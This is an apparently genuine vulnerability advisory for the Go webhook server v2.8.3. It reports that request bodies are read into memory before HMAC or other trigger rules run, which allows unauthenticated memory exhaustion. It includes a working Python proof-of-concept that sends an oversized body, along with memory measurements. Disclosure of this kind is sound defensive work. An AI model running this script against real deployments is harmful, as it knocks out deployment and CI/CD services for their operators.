#756·webhook

Pre-authentication denial of service via unbounded request body read

Author: geo-chenCreated Jun 13, 2026Updated Jun 13, 2026

Summary

webhook reads the full HTTP request body into memory using ioutil.ReadAll before evaluating any trigger rule, including HMAC signature checks. An unauthenticated attacker can send arbitrarily large request bodies to any known hook endpoint and exhaust the server's memory, causing an out-of-memory crash. This affects all hooks regardless of whether they have trigger rules configured.

Details

In webhook.go, the hookHandler function reads the entire request body at line 382 before evaluating the trigger rule at line 502:

go
// webhook.go line 381-385
if !isMultipart {
    req.Body, err = ioutil.ReadAll(r.Body)
    ...
}

The trigger rule evaluation (HMAC, IP whitelist, value match) happens significantly later:

go
// webhook.go line 502-513
ok, err = matchedHook.TriggerRule.Evaluate(req)

There is no call to http.MaxBytesReader before ioutil.ReadAll, no ReadTimeout or WriteTimeout set on the http.Server, and no ContentLength upper bound enforced. An attacker sending a multi-gigabyte body to any hook endpoint causes the webhook process to allocate matching memory before any authentication is attempted.

The multipart form data path has an explicit limit via the -max-multipart-mem flag (default 1MB), but the JSON, XML, and form-urlencoded paths have no equivalent limit. This asymmetry indicates the body size limit for non-multipart content types was overlooked.

Additionally, the Go http.Server struct is initialized with no timeouts:

go
// webhook.go line 291-293
svr := &http.Server{
    Handler: r,
}

This allows slow-body attacks to hold goroutines and connections indefinitely.

PoC

Prerequisites: webhook v2.8.3 binary, a hooks config file, and curl or Python. The hook ID must be known (discoverable via 404 responses which return "Hook not found." vs "OK" for matching IDs, though hook IDs are admin-defined strings).

bash
# Start webhook with an HMAC-protected hook (default hooks.json example)
# hooks.json contains a hook with id "deploy" protected by payload-hmac-sha256

./webhook -hooks hooks.json -port 9000

# In another terminal, check baseline memory:
ps aux | grep webhook
# mrrobot 12345 ... 11392 ...  ./webhook -hooks hooks.json -port 9000
# VmRSS ~11MB baseline

# Send a 50MB body with an INVALID signature to the HMAC-protected hook:
python3 -c "
import socket, json

body = json.dumps({'message': 'A' * 50000000})
content_length = len(body)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 9000))

request = (
    f'POST /hooks/deploy HTTP/1.1\r\n'
    f'Host: localhost\r\n'
    f'Content-Type: application/json\r\n'
    f'X-Hub-Signature-256: sha256=invalidsignature\r\n'
    f'Content-Length: {content_length}\r\n'
    f'\r\n'
)
s.send(request.encode())
s.send(body.encode())

data = s.recv(4096)
print(data[:200].decode())
s.close()
"
# Output:
# HTTP/1.1 500 Internal Server Error
# Date: Sat, 13 Jun 2026 10:27:48 GMT
# Content-Length: 43
# Content-Type: text/plain; charset=utf-8
#
# Error occurred while evaluating hook rules.

# Check memory after the request (authentication failed, but body was already read):
ps aux | grep webhook
# mrrobot 12345 ... 354564 ... ./webhook -hooks hooks.json -port 9000
# VmRSS jumped from ~11MB to ~346MB for a 50MB body (30x amplification)

Observed output during testing confirms that webhook returns HTTP 500 (authentication failure) while the process RSS grows from ~11MB baseline to ~108MB for a 20MB body and ~346MB for a 50MB body. VmPeak reached 2.3GB during the 50MB test. The body was fully consumed before the HMAC check returned the 500.

Impact

Any party that can reach a webhook endpoint can exhaust the process memory, regardless of HMAC or other trigger-rule protections. A single HTTP request with a multi-gigabyte body (or a handful of concurrent large requests) will exhaust available RAM and kill the webhook process. Services that rely on webhook for automated deployments, CI/CD pipelines, or operational tasks will be disrupted. No credentials or hook-specific knowledge beyond the endpoint ID are required for the DoS.

Affected Versions: confirmed on v2.8.3 CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H CWE: CWE-400 -- Uncontrolled Resource Consumption